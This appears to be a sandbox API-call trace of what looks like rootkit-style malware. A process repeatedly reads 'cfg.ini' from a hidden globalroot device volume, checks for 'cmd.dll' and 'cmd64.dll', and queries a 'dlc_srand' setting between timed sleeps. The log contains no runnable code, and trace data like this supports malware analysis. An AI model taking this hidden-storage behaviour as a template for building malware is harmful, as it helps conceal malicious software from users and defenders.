_strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.675] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.675] IdePortDispatch () returned 0x103 [0119.675] KeWaitForMutexObject () returned 0x0 [0119.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.675] KeLeaveCriticalRegion () [0119.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.675] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.675] KeEnterCriticalRegion () [0119.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.675] KeLeaveCriticalRegion () [0119.675] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.675] KeEnterCriticalRegion () [0119.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.675] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.675] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaa10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.675] KeLeaveCriticalRegion () [0119.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.676] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.676] KeEnterCriticalRegion () [0119.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.676] ExFreePoolWithTag (P=0xfffffa8003bca950, Tag=0x0) [0119.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.676] KeLeaveCriticalRegion () [0119.676] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.676] ReleaseMutex (hMutex=0xf0) returned 1 [0119.676] Sleep (dwMilliseconds=0x124f80) [0119.688] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.691] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.691] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.691] KeEnterCriticalRegion () [0119.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.691] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.691] IdePortDispatch () returned 0x103 [0119.691] KeWaitForMutexObject () returned 0x0 [0119.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.692] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.692] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.692] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.692] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.692] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda340 [0119.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] KeLeaveCriticalRegion () [0119.692] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.692] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.692] KeEnterCriticalRegion () [0119.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] KeLeaveCriticalRegion () [0119.692] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.692] KeEnterCriticalRegion () [0119.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.692] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.692] IdePortDispatch () returned 0x103 [0119.692] KeWaitForMutexObject () returned 0x0 [0119.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] KeLeaveCriticalRegion () [0119.692] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.692] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.692] KeEnterCriticalRegion () [0119.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0119.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.693] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.693] IdePortDispatch () returned 0x103 [0119.693] KeWaitForMutexObject () returned 0x0 [0119.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.693] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.693] IdePortDispatch () returned 0x103 [0119.693] KeWaitForMutexObject () returned 0x0 [0119.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.693] KeLeaveCriticalRegion () [0119.693] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.694] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.694] KeEnterCriticalRegion () [0119.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] KeLeaveCriticalRegion () [0119.694] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.694] KeEnterCriticalRegion () [0119.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] KeLeaveCriticalRegion () [0119.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.694] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.694] KeEnterCriticalRegion () [0119.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] ExFreePoolWithTag (P=0xfffffa8003bda340, Tag=0x0) [0119.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] KeLeaveCriticalRegion () [0119.694] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.694] ReleaseMutex (hMutex=0xf0) returned 1 [0119.694] Sleep (dwMilliseconds=0x124f80) [0119.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.707] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.707] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.707] KeEnterCriticalRegion () [0119.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.707] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.708] IdePortDispatch () returned 0x103 [0119.708] KeWaitForMutexObject () returned 0x0 [0119.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaaa0 [0119.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.708] KeLeaveCriticalRegion () [0119.708] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.708] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.708] KeEnterCriticalRegion () [0119.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.708] KeLeaveCriticalRegion () [0119.708] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.708] KeEnterCriticalRegion () [0119.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.708] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.708] IdePortDispatch () returned 0x103 [0119.708] KeWaitForMutexObject () returned 0x0 [0119.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.708] KeLeaveCriticalRegion () [0119.708] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.709] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.709] KeEnterCriticalRegion () [0119.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0119.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.709] IdePortDispatch () returned 0x103 [0119.709] KeWaitForMutexObject () returned 0x0 [0119.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.709] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.709] IdePortDispatch () returned 0x103 [0119.709] KeWaitForMutexObject () returned 0x0 [0119.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.709] KeLeaveCriticalRegion () [0119.709] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.710] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.710] KeEnterCriticalRegion () [0119.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] KeLeaveCriticalRegion () [0119.710] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.710] KeEnterCriticalRegion () [0119.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] KeLeaveCriticalRegion () [0119.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.710] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.710] KeEnterCriticalRegion () [0119.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] ExFreePoolWithTag (P=0xfffffa8003bcaaa0, Tag=0x0) [0119.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] KeLeaveCriticalRegion () [0119.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.710] ReleaseMutex (hMutex=0xf0) returned 1 [0119.710] Sleep (dwMilliseconds=0x124f80) [0119.724] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.724] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.725] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.725] KeEnterCriticalRegion () [0119.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.725] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.725] IdePortDispatch () returned 0x103 [0119.725] KeWaitForMutexObject () returned 0x0 [0119.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.725] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.725] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.725] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.725] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.725] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca560 [0119.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.725] KeLeaveCriticalRegion () [0119.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.725] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.726] KeEnterCriticalRegion () [0119.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.726] KeLeaveCriticalRegion () [0119.726] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.726] KeEnterCriticalRegion () [0119.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.726] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.726] IdePortDispatch () returned 0x103 [0119.726] KeWaitForMutexObject () returned 0x0 [0119.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.726] KeLeaveCriticalRegion () [0119.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.726] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.726] KeEnterCriticalRegion () [0119.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348e000 [0119.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.726] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.726] IdePortDispatch () returned 0x103 [0119.726] KeWaitForMutexObject () returned 0x0 [0119.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.727] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.727] IdePortDispatch () returned 0x103 [0119.727] KeWaitForMutexObject () returned 0x0 [0119.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.727] KeLeaveCriticalRegion () [0119.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.727] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.727] KeEnterCriticalRegion () [0119.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.727] KeLeaveCriticalRegion () [0119.728] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.728] KeEnterCriticalRegion () [0119.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.728] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.728] KeLeaveCriticalRegion () [0119.728] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.728] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.728] KeEnterCriticalRegion () [0119.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.728] ExFreePoolWithTag (P=0xfffffa8003bca560, Tag=0x0) [0119.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.728] KeLeaveCriticalRegion () [0119.728] IofCompleteRequest 